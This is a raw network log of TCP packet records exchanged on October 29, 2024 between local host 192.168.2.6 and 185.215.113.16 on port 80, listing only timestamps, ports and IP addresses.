Oct 29, 2024 20:45:03.434318066 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.434348106 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.434360027 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.434384108 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.434503078 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.434520960 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.434539080 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.434567928 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.434591055 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.434604883 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.434742928 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.434866905 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.434905052 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.434922934 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.434926987 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.434943914 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.434962034 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.434962034 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.434979916 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.434998989 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.435174942 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.435210943 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.435264111 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.435286999 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.435307026 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.435338974 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.435344934 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.435359955 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.435374022 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.435725927 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.435749054 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.435777903 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.435798883 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.435805082 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.435818911 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.435836077 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.435848951 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.435857058 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.436213017 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.436239958 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.436250925 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.436284065 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.436296940 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.436307907 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.436314106 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.436320066 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.436331034 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.436343908 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.436351061 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.436353922 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.436362982 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.436367035 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.436374903 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.436392069 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.436961889 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.436973095 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.436984062 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.436995983 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.437006950 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.437014103 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.437016964 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.437028885 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.437031984 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.437040091 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.437050104 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.437052965 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.437089920 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.475182056 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.475235939 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.475243092 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.475254059 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.475301027 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.475356102 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.475368023 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.475402117 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.475651026 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.475703955 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.475716114 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.475749969 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.475841999 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.475852966 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.475891113 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.544183016 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.544789076 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.544832945 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.544835091 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.544847965 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.544893980 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.544924021 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.544934988 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.544965029 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.549551010 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.549582958 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.549593925 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.549623966 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.550035954 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.550093889 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.550097942 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.550108910 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.550143003 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.550228119 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.550240993 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.550278902 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.550363064 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.550374985 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.550384998 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.550396919 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.550409079 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.550412893 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.550441980 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.550601959 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.550611973 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.550618887 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.550653934 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.550748110 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.550760984 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.550796986 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.550862074 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.550873995 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.550915956 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.550980091 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.550992012 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.551018953 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.551085949 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.551095963 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.551126003 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.551131010 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.551258087 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.551270008 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.551280975 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.551291943 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.551295996 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.551304102 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.551322937 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.551326036 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.551335096 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.551347017 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.551352024 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.551352978 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.551407099 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.551778078 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.551789045 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.551799059 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.551810980 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.551826954 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.551843882 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.551855087 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.551867008 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.551867008 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.551877022 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.551893950 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.551928043 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.552216053 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.552228928 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.552238941 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.552252054 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.552263021 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.552268028 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.552273989 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.552284956 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.552297115 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.552299976 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.552328110 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.552341938 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.553543091 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.553555012 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.553591967 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.592602968 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.592654943 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.592665911 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.592701912 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.592772961 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.592783928 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.592803955 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.592940092 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.592951059 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.592961073 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.592979908 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.593014956 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.593142986 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.593153000 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.593163013 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.593187094 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.659678936 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.659702063 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.659712076 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.659738064 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.659765005 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.659846067 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.659862041 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.659908056 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.665208101 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.665287018 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.665298939 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.665330887 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.665456057 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.665503979 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.665524960 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.665543079 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.665580034 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.665720940 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.665733099 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.665766954 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.665904999 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.665956974 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.665968895 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.665994883 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.666096926 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.666110039 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.666132927 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.666145086 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.666146040 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.666177988 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.666459084 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.666470051 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.666481972 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.666492939 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.666496992 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.666505098 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.666532040 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.666548014 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.666749954 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.666762114 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.666805983 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.666807890 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.666820049 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.666830063 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.666841984 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.666855097 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.666882038 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.667078018 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.667088032 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.667129993 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.667150021 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.667161942 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.667174101 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.667205095 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.667624950 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.667635918 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.667648077 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.667659998 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.667659998 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.667671919 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.667684078 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.667686939 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.667700052 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.667711973 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.667716980 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.667716980 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.667722940 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.667728901 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.667735100 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.667747021 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.667814016 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.668538094 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.668550968 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.668560982 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.668572903 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.668579102 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.668586016 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.668596983 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.668598890 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.668610096 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.668620110 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.668629885 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.668631077 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.668649912 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.668651104 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.668667078 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.668668985 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.668708086 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.707017899 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.707051039 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.707062006 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.707134962 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.707195044 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.707209110 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.707218885 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.707226038 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.707237959 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.707240105 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.707288980 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.707319975 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.707504988 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.707518101 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.707559109 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.749192953 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.749222994 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.749295950 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.777317047 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.777342081 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.777354002 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.777385950 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.781550884 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.781610012 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.783236980 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.783292055 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.783304930 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.783363104 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.783397913 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.783410072 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.783421040 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.783438921 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.783444881 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.783467054 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.783652067 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.783663988 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.783675909 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.783696890 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.783699989 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.783719063 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.783731937 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.783744097 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.783771038 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.783822060 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.783835888 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.784053087 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.784065962 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.784077883 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.784089088 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.784101009 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.784116983 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.784135103 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.784140110 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.784152031 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.784162998 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.784173965 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.784184933 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.784193039 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.784197092 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.784209013 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.784221888 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.784224987 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.784265041 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.784980059 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.784991026 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.785002947 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.785015106 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.785022974 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.785024881 CET	80	62424	185.215.113.16	192.168.2.6
